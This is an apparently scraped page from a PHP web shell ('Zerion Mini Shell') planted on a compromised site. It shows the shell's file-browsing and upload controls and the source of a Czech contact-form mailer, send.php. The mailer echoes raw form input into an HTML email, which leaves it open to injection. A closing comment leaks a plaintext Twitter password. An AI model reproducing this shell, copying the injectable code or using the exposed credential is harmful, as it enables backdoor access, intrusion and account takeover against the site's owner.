%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/www_bck/varak.net_bck/mydlo.varak.net/
Upload File :
Create Path :
Current File : //data/www_bck/varak.net_bck/mydlo.varak.net/send.php

<?php ob_start() ?><html>
<head>
    <meta charset="UTF-8">
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
    <p><b>Jmeno:</b> <?php echo $_POST['your-name']; ?></p>
    <p><b>Mail:</b> <?php echo $_POST['your-email']; ?></p>
    <h3>Zprava</h3>
    <p><?php echo $_POST['your-message']; ?></p>
</body>
</html>
<?php
use Nette\Mail\SendmailMailer;
use Nette\Mail\Message;

$txt = ob_get_clean();
//mail("jana@varak.net", "Kontaktni formular - MYDLO", $txt);

include "nette.phar";
$mail = new Message;
$mail->setFrom($_POST['your-name'].' <'.$_POST['your-email'].'>')
    ->addTo('jana@varak.net')
    ->setSubject('Kontaktni formylar - MYDLO')
    ->setHTMLBody($txt);

$mailer = new SendmailMailer;
$mailer->send($mail);

header("Location: /");
// Twitter pass: L|>8_H5sx+b4m*P'>(A

Zerion Mini Shell 1.0